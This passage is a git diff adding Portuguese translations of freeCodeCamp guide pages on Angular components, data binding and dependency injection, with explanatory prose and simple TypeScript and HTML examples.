--- /dev/null
+++ b/client/src/guide/portuguese/angular/components/index.md
@@ -0,0 +1,271 @@
+---
+title: Components
+localeTitle: Componentes
+---
+# Componentes
+
+#### Motivação
+
+Angular contém muitos _esquemas_ para criação de aplicativos. Componentes são um desses esquemas. Eles abrangem uma única unidade de lógica relacionada a uma única parte do aplicativo. Os componentes costumam se associar a outros esquemas para operar com mais eficiência.
+
+Entre todos os esquemas, os componentes tendem a consumir mais do que os fornecidos. Enquanto outros esquemas como diretivas, canais e serviços oferecem utilidade, os componentes utilizam. Eles são responsáveis ​​pela interface do aplicativo, portanto, faz sentido porque o utilitário consumir.
+
+Componentes simplificam o aplicativo. A lógica de afunilamento em uma única seção da interface visível é seu objetivo principal. Para criar aplicativos passo a passo, você deve criar componente por componente. Componentes agem como blocos de construção angular afinal.
+
+#### Introdução aos componentes
+
+Como mencionado, os componentes consomem utilidade (serviços / recursos). Eles estão entre lógica de negócios e apresentação para produzir uma unidade coesa. Angular atribui vários mecanismos para cada componente. Esses anexos identificam uma classe como um componente e definem seus recursos padrão.
+
+Angular deve reconhecer componentes quando se deparar com eles. Para fazer isso, `@Component` deve decorar todas as classes destinadas a ser um componente. Os decoradores indicam ao Angular o que é a classe.
+
+No caso de um componente, ele deve saber como interagir com seu injetor, conectar-se com um modelo, puxar de uma lista de estilos, encapsular seus estilos e assim por diante. Angular cuida da maioria dos requisitos de baixo nível. Os desenvolvedores ainda precisam configurar o comportamento de um componente, importar suas dependências e estender sua lógica.
+
+Para todas essas coisas, temos a classe do componente. A turma mantém tudo relativamente uniforme. Ele encapsula a lógica de negócios do componente.
+
+#### Classe de componente e metadados
+
+Vá em frente e instale a [interface de linha de comando (CLI) Angular](https://cli.angular.io) . Você pode aprender mais sobre isso [neste artigo](https://guide.freecodecamp.org/angular/command-line-interface) . O comando CLI `ng generate component [name-of-component]` produz o seguinte.
+
+```typescript
+import { Component, OnInit } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  templateUrl: './example.component.html', 
+  styleUrls: ['./example.component.css'] 
+ }) 
+ export class ExampleComponent implements OnInit { 
+  constructor() { } 
+ 
+  ngOnInit() { } 
+ } 
+```
+
+Este é o esqueleto básico do qual todos os grandes componentes se originam. O decorador `@Component` é a parte mais importante. Sem isso, o exemplo acima se torna uma classe genérica. Angular confia em decoradores para discernir o tipo esquemático de uma classe.
+
+`@Component` recebe metadados como um único objeto. Decoradores são apenas funções JavaScript sob o capô. Eles aceitam argumentos como o objeto de metadados. O objeto de metadados configura as dependências básicas de um componente. Cada campo desempenha um papel.
+
+*   `selector:` informa ao Angular para associar o componente a um determinado elemento no HTML do modelo do aplicativo.
+    
+*   `templateUrl:` aceita a localização do arquivo HTML do modelo do componente (é onde os dados são exibidos).
+    
+*   `styleUrls:` aceita uma matriz de locais de arquivo de folha de estilo (strings). Essas folhas de estilo têm como alvo o modelo atribuído ao componente.
+    
+
+Pense nos metadados como uma grande bolha de configuração. O decorador faz isso para gerar os dados específicos do componente. O decorador _decora_ a classe subjacente com dados necessários para o comportamento de sua classe. Uma classe de _componente_ que é.
+
+A assinatura da classe exporta por padrão para que o componente possa ser importado. `ngOnInit` também é implementado. `implements` diz à classe para definir certos métodos de acordo com a definição da interface. `ngOnInit` é um gancho do ciclo de vida.
+
+#### Ciclo de Vida do Componente e Detecção de Alterações
+
+Os componentes usam todos os tipos de ferramentas, serviços e recursos. Um dos principais recursos disponíveis para os componentes são os ganchos do ciclo de vida. Uma explicação para cada gancho existe [neste artigo](https://guide.freecodecamp.org/angular/lifecycle-hooks) .
+
+Há oito no total e todos servem como funções de temporização. Eles executam condicionalmente à medida que o componente transita de estado para estado via [detecção de mudança](https://blog.angularindepth.com/everything-you-need-to-know-about-change-detection-in-angular-8006c51d206f) . Esse processo acontece constantemente na árvore de componentes. Ele procura por alterações nos dados que merecem uma nova renderização do modelo.
+
+Hora de seguir em frente. Por favor, consulte os artigos acima mencionados para obter mais informações sobre o ciclo de vida do componente. Isso merece muito mais explicações.
+
+#### Dados de componentes
+
+Dados conduz tudo. Componentes não são exceção. Componentes encapsulam todos os seus dados. Para receber dados externamente, um componente deve declará-lo explicitamente. Essa forma de privacidade impede que as informações entrem em conflito na árvore de componentes.
+
+Os dados determinam o que é exibido da classe do componente para o modelo. Quaisquer atualizações nos dados da classe irão (ou pelo menos devem) atualizar a exibição do modelo.
+
+Os componentes geralmente inicializam um conjunto de membros (ou variáveis) que armazenam dados. Eles são usados ​​em toda a lógica da classe de componentes por conveniência. Essa informação alimenta a lógica resultante do modelo e seu comportamento. Veja o exemplo a seguir.
+
+```typescript
+// ./components/example/example.component.ts 
+ 
+ import { Component, OnInit } from '@angular/core'; 
+ import { Post, DATA } from '../../data/posts.data'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  templateUrl: './example.component.html' 
+ }) 
+ export class ExampleComponent implements OnInit { 
+  username: string; 
+  totalPosts: number; 
+  allPosts: Post[]; 
+ 
+  deletePost(index: number): void { 
+    this.allPosts.splice(index, 1); 
+    this.totalPosts = this.allPosts.length; 
+  } 
+ 
+  ngOnInit(): void { 
+    this.username = DATA.author; 
+    this.totalPosts = DATA.thePosts.length; 
+    this.allPosts = DATA.thePosts; 
+  } 
+ } 
+```
+
+```html
+
+<!-- ./components/example/example.component.html --> 
+ 
+ <h1>{{ username }}</h1> 
+ <span>Change Name: </span><input [(ngModel)]="username"> 
+ <h3>Posts: {{ totalPosts }}</h3> 
+ <ul> 
+ <hr/> 
+ <div *ngFor="let post of allPosts; let i=index"> 
+  <button (click)="deletePost(i)">DELETE</button> 
+  <h6>{{ post.title }}</h6> 
+  <p>{{ post.body }}</p> 
+  <hr/> 
+ </div> 
+ </ul> 
+```
+
+Observe as formas como o componente interage com seus dados. Primeiro, ele busca de `../../data/posts.data` antes de começar a encaminhá-lo ao modelo para exibição.
+
+Os dados aparecem em todo o modelo. Dentro das chaves duplas, o valor de uma variável é mapeado da classe do componente para as chaves. O `*ngFor` loop no array de classes `allPosts` . Clicar no botão remove um elemento específico de `allPosts` por seu índice. Você pode até mudar o `username` de `username` mais alto, digitando na caixa de entrada.
+
+As interações acima alteram os dados da classe do componente, o que, por sua vez, atualiza o HTML do modelo do componente. Os componentes fornecem a lógica de backbone que facilita o fluxo de dados. O modelo HTML torna esses dados legíveis para o usuário.
+
+#### Modelo de componente
+
+O HTML do modelo do exemplo anterior apresentava uma sintaxe interessante. A sintaxe não era HTML real. Foi o template HTML de Angular. Algumas vezes referem-se a ele que tem o HTML _Plus_ reconhecível apenas pelo compilador da Angular. O compilador suporta uma sintaxe que resulta na manipulação dinâmica de HTML. Este artigo geralmente se refere a ele como "modelo HTML" ou "modelo".
+
+A sintaxe permite que os componentes injetem dados diretamente no modelo HTML. A injeção é dinâmica. Ou seja, os dados podem se iterar e se exibir como HTML sem precisar de ajuda externa. O compilador Angular compila em HTML real no momento em que atinge o navegador da web.
+
+Para saber mais sobre algumas formas de [vinculação de dados](https://guide.freecodecamp.org/angular/data-binding) ao modelo, leia sobre [vinculação de dados no Angular](https://guide.freecodecamp.org/angular/data-binding) . Alguns exemplos de ligação de dados ocorreram no exemplo anterior ( `{{ ... }}` ). Para este artigo, basta reconhecer que as interações de dados estavam acontecendo entre a classe do componente e seu modelo.
+
+#### Consultando o modelo
+
+Os dados que gerenciam o estado do modelo funcionam imperativamente OK. No entanto, os dados puros nem sempre preenchem o design pretendido de um aplicativo. Interagir mais diretamente com o Document Object Model (DOM) pode ser necessário.
+
+Para fazer isso, o componente deve ter referência aos elementos do modelo. Quando os dados são alterados, o componente pode manipular o DOM explicitamente. Esta é uma abordagem mais declarativa.
+
+Os componentes podem capturar referências usando a interface de programação de aplicativos DOM (API) do navegador da web. Má idéia embora. Angular prefere compatibilidade entre plataformas. Para que um componente funcione fora do navegador da Web, ele precisa usar a API do Angular em vez do DOM.
+
+Os componentes podem consultar seus modelos usando os decoradores `@ViewChild` e `ContentChild` . Eles pegam referências a elementos de modelo em nome da classe de componentes.
+
+```typescript
+import { Component, ViewChild, ContentChild, ElementRef, Renderer2, AfterContentChecked, AfterViewChecked } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-child', 
+  template: ` 
+  <button (click)="toggleEnlarge()">Toggle Enlarge</button> 
+  <ng-content></ng-content> 
+  ` 
+ }) 
+ export class ChildComponent implements AfterContentChecked { 
+  @ContentChild("pReference", { read: ElementRef }) pElement: ElementRef; 
+  textEnlarge: boolean = false; 
+ 
+  constructor(private renderer: Renderer2) { } 
+ 
+  toggleEnlarge() { 
+    this.textEnlarge = !this.textEnlarge; 
+  } 
+ 
+  ngAfterContentChecked() { 
+    if (this.textEnlarge) 
+      this.renderer.setStyle(this.pElement.nativeElement, 'font-size', '25px'); 
+      else 
+      this.renderer.setStyle(this.pElement.nativeElement, 'font-size', 'initial'); 
+    } 
+ } 
+ 
+ @Component({ 
+  selector: 'app-parent', 
+  template: ` 
+  <button (click)="toggleHighlight()">Toggle Highlight</button> 
+  <h1 #hOneRefereance>View Child</h1> 
+  <app-child> 
+    <p #pReference>Content Child</p> 
+  </app-child> 
+  ` 
+ }) 
+ export class ParentComponent implements AfterViewChecked { 
+  @ViewChild("hOneRefereance", { read: ElementRef }) hOneElement: ElementRef; 
+  textHighlight: boolean = false; 
+ 
+  constructor(private renderer: Renderer2) { } 
+ 
+  toggleHighlight() { 
+    this.textHighlight = !this.textHighlight; 
+  } 
+ 
+  ngAfterViewChecked() { 
+    if (this.textHighlight) 
+      this.renderer.setStyle(this.hOneElement.nativeElement, 'background-color', 'yellow'); 
+    else 
+      this.renderer.setStyle(this.hOneElement.nativeElement, 'background-color', 'initial'); 
+  } 
+ } 
+```
+
+O exemplo acima contém dois botões que alternam um determinado estilo para cada elemento. Clicar nos botões alterna os valores true / false exclusivos para cada componente. Esses booleanos determinam se os estilos personalizados se aplicam. Em vez de esses valores causarem alterações imperativas, os ganchos do ciclo de vida ( `ngAfterViewChecked` e `ngAfterContentChecked` ) alteram declarativamente o DOM.
+
+A abordagem declarativa altera explicitamente o estilo por meio da referência do elemento. Na programação imperativa, as alterações nos dados baseados em DOM são implícitas. Confira este artigo sobre programação [imperativa e declarativa](https://codeburst.io/declarative-vs-imperative-programming-a8a7c93d9ad2) para aprender mais.
+
+A principal coisa a notar é como essas referências são extraídas do modelo. No exemplo, há duas seções do modelo consultadas usando dois decoradores: `@ViewChild` e `@ContentChild` .
+
+Eles diferem em onde eles olham para a referência de um elemento, seja no conteúdo DOM ou no modo DOM. Esses dois DOMs existem no modelo do ParentComponent. Diferenciar entre eles é importante porque eles terminam a renderização em momentos separados.
+
+É por isso que `@ViewChild` e `@ContentChild` existem. Eles trabalham em conjunto com seus ganchos de ciclo de vida complementares `ngAfterViewChecked` e `ngAfterContentChecked` . Esses ganchos do ciclo de vida aguardam que suas respectivas consultas sejam resolvidas antes da execução.
+
+Uma vez resolvido, `@ViewChild` e `@ContentChild` fornecem referências a dois elementos. Ambos existem em partes separadas do DOM. Os dados booleanos ainda determinam o resultado. Como esse resultado se traduz no DOM é a principal diferença de antes. O DOM é atualizado através da manipulação direta do `Renderer2` .
+
+#### Projeção de Conteúdo
+
+O DOM de conteúdo existe no elemento innerHTML of ChildComponent `<app-child></app-child>` . Está tudo posicionado no modelo do ParentComponent. O innerHTML de _projetos_ `app-child` no template do ChildComponent através de `<ng-content></ng-content>` .
+
+Isso exemplifica a projeção de conteúdo. Exibição de conteúdo de `one` componente para outro usando o innerHTML das tags de `another` em `one` modelo, para que `another` componente possa extrair esse innerHTML em seu próprio modelo via `<ng-content></ng-content>` . _Obrigado por ler essa frase._
+
+Portanto, por que ChildComponent referencia seu elemento `<p></p>` usando `@ContentChild` . O conteúdo contido em `<app-child></app-child>` no modelo do ParentComponent compõe o conteúdo DOM. ChildComponent faz referência ao elemento com uma consulta `@ContentChild` .
+
+Visão do ParentComponent O DOM consiste em tudo que pode ser acessado a partir da visão do componente. Isso não inclui necessariamente o modelo inteiro dado o innerHTML de `<app-child></app-child>` . Novamente, essa parte do DOM é consultada a partir do ChildComponent usando `@ContentChild` . Tudo o mais é consultado usando `@ViewChild` da classe ParentComponent.
+
+Essa é uma ótima maneira de os componentes trocarem conteúdo e consultar seu próprio conteúdo, independentemente de seu tipo de DOM. Os componentes podem se comunicar com eles mesmos e outros usando a vinculação de dados também. Leia mais sobre isso [neste artigo](https://guide.freecodecamp.org/angular/data-binding) .
+
+#### Estilos de componentes
+
+Estilos são críticos para a legibilidade e interatividade de um componente. Cada componente encapsula suas dependências de folha de estilos. Dessa forma, eles só se aplicam ao HTML do modelo do componente. Uma técnica especial introduzida pelo DOM de sombra do HTML torna isso possível.
+
+Um ramo DOM de sombra pode existir em qualquer elemento. Esta parte do DOM não pode ser vista a partir do código-fonte do HTML. Elementos HTML padrão aproveitam o DOM de sombra para fornecer suas aparências de marca registrada. Uma ramificação DOM de sombra deve se ancorar em um componente visível para que possa estilizá-lo e personalizá-lo.
+
+O aspecto exclusivo de uma ramificação DOM de sombra é seu encapsulamento. Tudo o que é usado para estilizar um elemento-raiz da ramificação do DOM de sombra é particular para ele. Nenhum outro elemento pode acessá-lo.
+
+Angular abrange essa forma de encapsulamento com componentes. A folha de estilo e o modelo de um componente são encapsulados juntos. Nenhum outro componente tem acesso a eles. Conflitos de folha de estilo não podem ocorrer.
+
+Angular não usa a sombra DOM por padrão. Ele usa um sistema de emulação que imita o comportamento do DOM de sombra. Essa é uma medida temporária, pois alguns navegadores da Web ainda não suportam a API DOM shadow.
+
+Os metadados do `@Component` contêm o campo de `encapsulation` . Isso permite que os desenvolvedores alternem entre sombra DOM emulada, sombra DOM real ou nenhuma. Aqui estão as opções em sua respectiva ordem:
+
+*   `ViewEncapsulation.Emulated` - DOM falso de sombra (padrão)
+    
+*   `ViewEncapsulation.Native` - DOM real de sombra (agora obsoleto desde o Angular 6.0.8)
+    
+*   `ViewEncapsulation.None` - nenhum
+    
+
+`ViewEncapsulation.None` significa que as folhas de estilo do componente são elevadas para o escopo global. Não é recomendado considerar que os componentes devem formar sua própria unidade privada (encapsulamento). Angular ainda fornece como uma escotilha de escape para situações extremas.
+
+#### Conclusão
+
+Componentes constroem aplicativos. Eles são escopo privado e separadamente uniformes uns dos outros, a menos que configurado de outra forma. Os aplicativos tendem a começar do módulo raiz. Depois disso, os componentes formam uma árvore alongada que define o restante do aplicativo.
+
+Um componente cobre uma unidade designada da interface do aplicativo. Isso inclui seus estilos, lógica e layout. Outros esquemas, como pipes, serviços e diretivas, são usados ​​com freqüência no código do componente. Você pode aprender mais sobre essas interações em alguns dos outros artigos sobre guias angulares.
+
+Não se esqueça de que os componentes devem ser [inicializados](https://angular.io/guide/bootstrapping) . Isso pode acontecer no módulo raiz ou nos metadados do componente. Isso é tão Angular reconhece o componente onde quer que apareça no aplicativo.
+
+Você sempre pode aprender mais explorando os links abaixo. Componente transportar muito mais profundidade do que aquilo que este artigo poderia transmitir.
+
+## Fontes
+
+*   [Equipa Angular "Angular Docs". _Google_ . Acessado em 3 de junho de 2018](https://angular.io/guide)
+*   [Comunidade Mozilla MDN. “Usando DOM Shadow”. _Mozilla_ , atualizado em 30 de maio de 2018. Acessado em 3 de junho de 2018](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM)
+*   [Mundy, Ian. “Programação declarativa vs imperativa”. _codeburst.io_ , 20 fev. 2017. Acessado em 3 de junho de 2018](https://codeburst.io/declarative-vs-imperative-programming-a8a7c93d9ad2)
+
+## Recursos
+
+*   [Documentação Angular](https://angular.io/guide)
+*   [Repositório Angular GitHub](https://github.com/angular/angular)
+*   [Introdução aos componentes](https://angular.io/guide/architecture-components)
+*   [Componentes em Profundidade](https://angular.io/guide/displaying-data)
+*   [DOM da Sombra](https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_shadow_DOM)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/angular/data-binding/index.md b/client/src/guide/portuguese/angular/data-binding/index.md
new file mode 100644
index 0000000000..2869e64e1a
--- /dev/null
+++ b/client/src/guide/portuguese/angular/data-binding/index.md
@@ -0,0 +1,197 @@
+---
+title: Data Binding
+localeTitle: Ligação de dados
+---
+# Ligação de dados
+
+#### Motivação
+
+Os dados geralmente definem a aparência de um aplicativo. A interpretação desses dados na interface do usuário envolve lógica de classe ( `.component.html` ) e uma exibição de modelo ( `.component.ts` ). Angular conecta-os através da vinculação de dados. Pense na ligação de dados como uma ferramenta para interação de componentes.
+
+#### Componente e Modelo
+
+O componente armazena a maior parte de sua lógica e dados dentro de sua classe decorada com `@Component` . Esse decorador define a classe como um componente com HTML de modelo. O modelo do componente representa a classe dentro do aplicativo. O foco aqui precisa estar entre a classe do componente e o modelo HTML.
+
+É aqui que ocorre a ligação de dados. Propriedades e eventos do elemento recebem valores atribuídos. Esses valores, definidos pela classe do componente, servem para uma das duas funções. Uma é produzir dados que o modelo recebe. O outro manipula eventos emitidos pelo elemento template.
+
+![Exemplo de código](https://raw.githubusercontent.com/sosmaniac-FCC/designatedata/master/image4.png)
+
+Tente usar essa imagem como um modelo mental para a próxima seção.
+
+#### Direções de Encadernação
+
+Existem duas maneiras de vincular os dados: unidirecional e bidirecional. Angular tecnicamente só usa fluxo de dados unidirecional. O fluxo bidirecional é basicamente unidirecional. Acontece em duas aplicações de fluxo unidirecional, uma vez para cada direção. Mais sobre isso depois.
+
+O fluxo unidirecional define a interação unidirecional. O componente envia dados para o modelo ou o modelo emite um evento para a lógica do componente. As alterações de dados dentro do escopo do modelo não são percoladas na classe do componente. A emissão de eventos é uma transação unidirecional que começa nos elementos do modelo.
+
+Bidirecional constitui ambas as direções. Isso significa que as alterações nos dados na lógica da classe ou no HTML do modelo persistem entre si. O escopo das mudanças é a visão do componente. A exibição inclui a classe e o modelo do componente juntos.
+
+#### Propriedades do elemento
+
+Para reconhecer propriedades de elemento vinculado a dados, o Angular usa uma sintaxe especial de colchetes.
+
+```typescript
+// my.component.ts 
+ @Component({ 
+  templateUrl: './my.component.html' 
+ }) 
+ 
+ export class MyComponent { 
+  value:type = /* some value of type */; 
+ } 
+```
+
+```html
+
+<!-- my.component.html --> 
+ <any-element [property]=“value”>innerHTML</any-element> 
+```
+
+Fique comigo neste.
+
+`[property]` espelha a propriedade no nó de objeto do elemento DOM (Domain Object Model). Não confunda as propriedades do objeto com os atributos de um elemento DOM. Propriedades e atributos geralmente compartilham o mesmo nome e fazem a mesma coisa. Há uma distinção clara no entanto.
+
+Lembre-se que `attr` (atributos) é uma propriedade única do objeto DOM subjacente. Ele é declarado na instanciação do DOM com valores de atributo correspondentes à definição do elemento. Mantém o mesmo valor depois disso. Cada propriedade possui seu próprio campo de valor-chave em um nó de objeto DOM. Essas propriedades são pós-instanciação mutável.
+
+Conheça a diferença entre atributos e propriedades. Isso levará a um melhor entendimento de como o Angular vincula dados a propriedades (binding de propriedade). Angular dificilmente ligará dados aos atributos de um elemento. Exceções a isso são muito raras. Uma última vez: Angular liga os dados do componente às propriedades, não aos atributos!
+
+Referindo-se ao exemplo, o `[ … ]` na atribuição da propriedade do elemento tem um significado especial. Os colchetes mostram que a `property` está vinculada ao `“value”` à direita da atribuição.
+
+`value` também tem um significado especial dentro do contexto dos parênteses. `value` por si só é uma string literal. Angular lê e combina seu valor com os membros da classe do componente. Angular substituirá o valor do atributo de membro correspondente. Isso, é claro, refere-se à mesma classe de componente que hospeda o modelo HTML.
+
+O fluxo unidirecional de dados do componente para o modelo está completo. O membro correspondido à designação direita da propriedade entre colchetes fornece o `value` . Observe que as alterações no valor do membro na classe do componente se filtram para o modelo. Essa é a detecção de alterações do Angular em funcionamento. Alterações no escopo do modelo não afetam o membro da classe do componente.
+
+Key take-away: a classe de componentes fornece os dados enquanto o modelo os exibe.
+
+Não mencionei que os valores dos dados também podem aparecer no `innerHTML` um componente. Este último exemplo implementa chaves duplas. O Angular reconhece essas chaves e interpola os dados correspondentes da classe do componente no `innerHTML` da `div` .
+
+```html
+
+<div>The value of the component class member 'value' is {{value}}.</div> 
+```
+
+#### Manipulação de eventos
+
+Se o componente fornecer dados, o modelo fornecerá eventos.
+
+```typescript
+// my.component.ts 
+ @Component({ 
+  templateUrl: './my.component.html' 
+ }) 
+ 
+ export class MyComponent { 
+  handler(event):void { 
+      // function does stuff 
+  } 
+ } 
+```
+
+```html
+
+// my.component.html 
+ <any-element (event)=“handler($event)”>innerHTML</any-element> 
+```
+
+Isso funciona de maneira semelhante à vinculação de propriedade.
+
+O `(event)` refere-se a qualquer tipo de evento válido. Por exemplo, um dos tipos de eventos mais comuns é o `click` . Emite quando você _clica no_ mouse. Independentemente do tipo, o `event` está vinculado ao `“handler”` no exemplo. Manipuladores de eventos são geralmente funções membro da classe de componentes.
+
+Os `( … )` são especiais para o Angular. Parêntese informa ao Angular que um evento é limitado à atribuição correta do `handler` . O próprio evento é originado do elemento host.
+
+Quando o evento emite, ele passa o objeto Event na forma de `$event` . O `handler` mapeado para a função de `handler` nome idêntico da classe do componente. A troca unidirecional do elemento ligado ao evento para a classe do componente é concluída.
+
+Emitir eventos do manipulador, enquanto possível, não afeta o elemento de modelo. A ligação é unidirecional depois de tudo.
+
+#### Vinculação Bidirecional
+
+Os formulários de entrada fornecem um ótimo exemplo do motivo pelo qual a vinculação bidirecional é necessária. As ligações de dados bidirecionais são mais caras que as ligações de eventos ou de propriedades.
+
+A ligação de dados bidirecional possui seu próprio módulo. Antes de dar uma olhada nisso, considere o seguinte exemplo.
+
+```typescript
+// my.component.ts 
+ @Component({ 
+  templateUrl: './my.component.html' 
+ }) 
+ export class MyComponent { 
+  inputValue:string = ""; 
+ 
+  handler(event) { 
+      this.inputValue = event.target.value; 
+  } 
+ } 
+```
+
+```html
+
+<!-- my.component.html --> 
+ <input (input)=“handler($event)” [value]=“inputValue”> 
+```
+
+Hora de quebrar isso.
+
+Este exemplo combina os dois anteriores. Isso explica por que é mais caro. Seguindo a lógica, assuma que o usuário digita algo no elemento de entrada. O elemento emite um evento de `input` para o `handler` da classe de componentes do modelo. O manipulador atribui o membro de classe `inputValue` ao valor do evento emitido. Isso conclui o tratamento / vinculação do evento.
+
+Agora na ligação da propriedade. O `inputValue` foi atribuído a um novo valor. Como `inputValue` está ligado ao `value` do elemento de entrada, sua alteração nos dados é transmitida para a propriedade de `value` do elemento de entrada. O `value` do elemento de entrada corresponde ao `inputValue` . Isso conclui a ligação da propriedade.
+
+Lá você tem isso. A ligação de dados bidirecional ocorre com os dois aplicativos de ligação unidirecional aplicados consecutivamente. A sintaxe é um pouco confusa.
+
+Felizmente, o Angular fornece o `NgModel` para simplificar a sintaxe. O exemplo abaixo é sinônimo do acima.
+
+```typescript
+// my.component.ts 
+ @Component({ 
+  templateUrl: './my.component.html' 
+ }) 
+ 
+ export class MyComponent { 
+  inputValue:string = ""; 
+ } 
+```
+
+```html
+
+<!-- my.component.html --> 
+ <input [(ngModel)]=“inputValue”> 
+```
+
+`ngModel` é uma ótima conveniência. Você precisa importar o FormsModule na raiz do aplicativo antes de usá-lo. Com isso eliminado, a ligação de dados bidirecional se torna muito mais fácil de se trabalhar.
+
+Para reforçar tudo que você aprendeu, confira esta foto da [Documentação Angular](https://angular.io/guide/architecture-components#data-binding) oficial [1](https://angular.io/guide/architecture-components#data-binding) .
+
+![Diagrama de fluxo de dados](https://raw.githubusercontent.com/sosmaniac-FCC/designatedata/master/image2.png)
+
+Você pode resumir visualmente tudo até este ponto com esta imagem. Documentação do Angular tem muitas outras imagens que vale a pena ver. Este deve ser suficiente, dado o escopo deste artigo.
+
+#### Componente para Componente
+
+Para vincular dados e eventos a diferentes componentes, você deve usar os decoradores @Input e @Output. Componentes angulares são escopo privado. Nenhum dos membros de um componente é acessível de qualquer lugar fora de sua visão nativa.
+
+O decorador @Input indica que o valor de um membro é originado da função pai. Isso requer visualização para entender melhor.
+
+![Exemplo de código](https://raw.githubusercontent.com/sosmaniac-FCC/designatedata/master/image3_.png)
+
+Observe a passagem do membro de `value` do pai para o membro da `property` da criança. Isso não seria possível se a `property` não tivesse um decorador @Input. O compilador Angular depende disso.
+
+Outro exemplo para @Output mostra como um evento viaja de filho para pai. Tenha em mente que @Output quase sempre se refere a ligações de eventos customizadas.
+
+![Exemplo de código](https://raw.githubusercontent.com/sosmaniac-FCC/designatedata/master/image1.png)
+
+Certifique-se de importar `EventEmitter` , `@Input` e `@Output` de `@angular/common` se você pretende replicar qualquer um desses exemplos.
+
+#### Conclusão
+
+Este é um bom lugar para parar. A ligação de dados abrange uma ampla variedade de casos de uso. Vale a pena explorar este tópico no [site da Angular](https://angular.io) . Essas não são as únicas maneiras de manipular dados no Angular. Veja os links em Recursos para mais informações.
+
+### Fontes
+
+1.  [Equipa Angular Introdução aos componentes. Google. Acessado em 26 de maio de 2018](https://angular.io/guide/architecture-components#data-binding)
+
+### Recursos
+
+*   [Documentação Angular](https://angular.io/docs)
+    
+*   [Repositório Angular GitHub](https://github.com/angular/angular)
+    
+*   [Mais sobre Componentes e Modelos em Angular](https://angular.io/guide/displaying-data)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/angular/dependency-injection/index.md b/client/src/guide/portuguese/angular/dependency-injection/index.md
new file mode 100644
index 0000000000..18b042dc9a
--- /dev/null
+++ b/client/src/guide/portuguese/angular/dependency-injection/index.md
@@ -0,0 +1,285 @@
+---
+title: Dependency Injection
+localeTitle: Injeção de dependência
+---
+# Injeção de dependência
+
+#### Motivação
+
+Injeção de dependência é muitas vezes mais simplesmente referida como DI. O paradigma existe em todo o Angular. Ele mantém o código flexível, testável e mutável. As classes podem herdar a lógica externa sem saber como criá-la. Qualquer consumidor dessas classes também não precisa saber de nada.
+
+O DI evita que as classes e os consumidores tenham que saber mais do que o necessário. No entanto, o código é tão modular como era antes graças aos mecanismos de apoio ao DI em Angular.
+
+Os serviços são um dos principais benfeitores do DI. Eles confiam no paradigma de _injeção_ em vários consumidores. Esses consumidores podem então aproveitar esse serviço e / ou enviá-lo para outro lugar.
+
+Serviço não está sozinho. Diretivas, tubulações, componentes e assim por diante: todo esquema em Angular se beneficia de DI de uma forma ou de outra.
+
+#### Injetores
+
+Injetores são estruturas de dados que armazenam instruções detalhando onde e como os serviços se formam. Eles atuam como intermediários dentro do sistema Angular DI.
+
+Módulo, diretiva e classes de componentes contêm metadados específicos para injetores. Uma nova instância do injetor acompanha cada uma dessas classes. Dessa forma, a árvore de aplicativos espelha sua hierarquia de injetores.
+
+Os `providers: []` metadados aceitam serviços que se registram no injetor da classe. Este campo provedor adiciona as instruções necessárias para um injetor funcionar. Uma classe (supondo que tenha dependências) instancia um serviço assumindo sua classe como seu tipo de dados. O injetor alinha esse tipo a cria uma instância desse serviço em nome da classe.
+
+É claro que a turma só pode instanciar o que o injetor tem instruções. Se o próprio injetor da classe não tiver o serviço registrado, ele consultará seu pai. Então, e assim por diante, até chegar a um injetor com o serviço ou a raiz do aplicativo.
+
+Os serviços podem se registrar em qualquer injetor dentro do aplicativo. Os serviços vão no campo de metadados `providers: []` de módulos de classe, diretivas ou componentes. Os filhos da turma podem instanciar um serviço registrado no injetor de classe. Os injetores de crianças fazem fallback nos injetores pais, afinal.
+
+#### Injeção de dependência
+
+Dê uma olhada nos esqueletos de cada classe: serviço, módulo, diretiva e componente.
+
+```typescript
+// service 
+ 
+ import { Injectable } from '@angular/core'; 
+ 
+ @Injectable({ 
+  providedIn: /* injector goes here */ 
+ }) 
+ export class TemplateService { 
+  constructor() { } 
+ } 
+```
+
+```typescript
+// module 
+ 
+ import { NgModule } from '@angular/core'; 
+ import { CommonModule } from '@angular/common'; 
+ 
+ @NgModule({ 
+  imports: [ 
+    CommonModule 
+  ], 
+  declarations: [], 
+  providers: [ /* services go here */ ] 
+ }) 
+ export class TemplateModule { } 
+```
+
+```typescript
+// directive 
+ 
+ import { Directive } from '@angular/core'; 
+ 
+ @Directive({ 
+  selector: '[appTemplate]', 
+  providers: [ /* services go here */ ] 
+ }) 
+ export class TemplateDirective { 
+  constructor() { } 
+ } 
+```
+
+```typescript
+//component 
+ 
+ import { Component } from '@angular/core'; 
+ 
+ @Component({ 
+  selector: 'app-template', 
+  templateUrl: './template.component.html', 
+  styleUrls: ['./template.component.css'], 
+  providers: [ /* services go here */ ] 
+ }) 
+ export class TemplateComponent { 
+  // class logic ... 
+ } 
+```
+
+Cada esqueleto pode registrar serviços em um injetor. Na verdade, o TemplateService _é_ um serviço. A partir do Angular 6, os serviços agora podem se registrar com injetores usando metadados do `@Injectable` .
+
+##### Em qualquer caso
+
+Observe os `@Injectable` `providedIn: string` ( `@Injectable` ) e `providers: []` ( `@Directive` , `@Componet` e `@Module` ). Eles dizem aos injetores onde e como criar um serviço. Caso contrário, os injetores não saberiam como instanciar.
+
+E se um serviço tiver dependências? Para onde iriam os resultados? Os provedores respondem a essas perguntas para que os injetores possam instanciar corretamente.
+
+Injetores formam a espinha dorsal da estrutura de DI. Eles armazenam instruções para instanciar serviços para que os consumidores não precisem. Eles recebem instâncias de serviço sem precisar saber nada sobre a dependência de origem!
+
+Também devo observar que outros esquemas sem injetores ainda podem utilizar a injeção de dependência. Eles não podem registrar serviços adicionais, mas eles ainda podem instanciar de injetores.
+
+##### Serviço
+
+Os metadados `providedIn: string` de `@Injectable` especificam em qual injetor se registrar. Usando este método, e dependendo se o serviço é usado, o serviço pode ou não se registrar no injetor. Angular chama isso _de tremer de árvore_ .
+
+Por padrão, o valor é definido como `'root'` . Isso se traduz no injetor de raiz do aplicativo. Basicamente, definir o campo como `'root'` torna o serviço disponível em qualquer lugar.
+
+##### Nota rápida
+
